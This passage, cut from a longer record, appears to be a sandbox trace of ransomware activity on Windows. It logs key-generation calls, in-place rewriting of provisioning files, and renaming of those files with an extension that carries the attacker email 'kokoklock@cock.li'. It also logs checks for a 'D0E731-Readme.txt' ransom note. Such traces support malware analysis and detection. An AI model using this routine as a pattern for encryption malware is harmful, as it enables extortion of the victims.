0x8c1bce93 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x9eda993a [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xc4349f6d [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x461b45d8 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xd66fa469 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xa6956a80 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xfbb1805b [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xc0ee3eb5 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xa9493e96 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x239f7040 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xd26cbd09 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x8b627b89 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x92a51613 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x360540a [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xd0b7b836 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x98188920 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x1737308f [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x6620e0e3 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x3b0bafe [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x6ee33339 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xb9be91f3 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x16fd96a9 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xea103b53 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x84c7db5a [0085.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd238 [0085.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34807c8 [0085.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0085.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.449] ReadFile (in: hFile=0x944, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x2cf3fb6c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2cf3fb6c*=0x822, lpOverlapped=0x0) returned 1 [0085.449] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cf3fb34 | out: lpNewFilePointer=0x0) returned 1 [0085.449] WriteFile (in: hFile=0x944, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x2cf3fb68, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2cf3fb68*=0x822, lpOverlapped=0x0) returned 1 [0085.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0085.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0085.449] WriteFile (in: hFile=0x944, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cf3fb64, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2cf3fb64*=0x20, lpOverlapped=0x0) returned 1 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34807c8) returned 1 [0085.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0085.449] WriteFile (in: hFile=0x944, lpBuffer=0x55ddda8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x55ddda8*, lpNumberOfBytesWritten=0x2cf3fb90*=0x8, lpOverlapped=0x0) returned 1 [0085.449] WriteFile (in: hFile=0x944, lpBuffer=0x2cf3fba8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x2cf3fba8*, lpNumberOfBytesWritten=0x2cf3fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.450] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cf3fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.450] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cf3fb90*=0x6c, lpOverlapped=0x0) returned 1 [0085.450] WriteFile (in: hFile=0x944, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x2cf3fb90*=0x20, lpOverlapped=0x0) returned 1 [0085.450] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cf3fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0085.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddda8) returned 1 [0085.450] CloseHandle (hObject=0x944) returned 1 [0085.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.450] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" [0085.450] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.450] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.451] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.451] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0085.451] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.452] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.452] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0085.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482ce8) returned 1 [0085.452] RtlExitUserThread (Status=0x1) Thread: id = 1286 os_tid = 0x11f8 [0085.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml")) returned 0x20 [0085.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0085.379] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x2cfbfa04 | out: lpFileSize=0x2cfbfa04*=2367) returned 1 [0085.379] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x93b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.379] ReadFile (in: hFile=0x660, lpBuffer=0x2cfbf9d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x2cfbf9d8*, lpNumberOfBytesRead=0x2cfbf9d4*=0x4, lpOverlapped=0x0) returned 1 [0085.422] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0085.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ff8 [0085.422] NtQuerySystemTime (in: CurrentTime=0x2cfbf9b0 | out: CurrentTime=0x2cfbf9b0*=132121176433204623) returned 0x0 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x85034c9 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xe08d7f16 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x562958e1 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xe595928c [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x288a9996 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x9b769fdd [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x1a858153 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xacd9e4db [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x5f91ed99 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x3a75ddf8 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x821fb4ac [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xff5fa5c7 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x3e4d1a0c [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x6d3f267d [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x5fa018a8 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x773e432b [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xf12db591 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x377c7598 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x6e55273b [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xb20492ca [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x23194304 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xd55fdba9 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xb691f138 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x70c07915 [0085.422] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x146bcc67 [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x95b8d8bd [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x44699533 [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0xb8c6a98 [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x34630560 [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x5497f3d2 [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x793124cf [0085.423] RtlRandom (in: Seed=0x2cfbf9bc | out: Seed=0x2cfbf9bc) returned 0x30a23e27 [0085.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.433] ReadFile (in: hFile=0x660, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x93f, lpNumberOfBytesRead=0x2cfbf9b0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2cfbf9b0*=0x93f, lpOverlapped=0x0) returned 1 [0085.433] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cfbf978 | out: lpNewFilePointer=0x0) returned 1 [0085.433] WriteFile (in: hFile=0x660, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x93f, lpNumberOfBytesWritten=0x2cfbf9ac, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2cfbf9ac*=0x93f, lpOverlapped=0x0) returned 1 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0085.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0085.433] WriteFile (in: hFile=0x660, lpBuffer=0x33e4738*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cfbf9a8, lpOverlapped=0x0 | out: lpBuffer=0x33e4738*, lpNumberOfBytesWritten=0x2cfbf9a8*=0x20, lpOverlapped=0x0) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x8, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x2cfbf9ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x2cfbf9ec*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x4, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x4, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x6c, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x20, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0x660, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cfbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cfbf9d4*=0x4, lpOverlapped=0x0) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.434] CloseHandle (hObject=0x660) returned 1 [0085.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.435] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" [0085.435] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.435] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.436] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.436] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0085.436] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.436] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.436] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0085.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3484048) returned 1 [0085.436] RtlExitUserThread (Status=0x1) Thread: id = 1287 os_tid = 0x11fc [0085.380] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0085.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0085.882] GetFileSizeEx (in: hFile=0x640, lpFileSize=0x2d03fbf0 | out: lpFileSize=0x2d03fbf0*=717) returned 1 [0085.882] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x2c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.882] ReadFile (in: 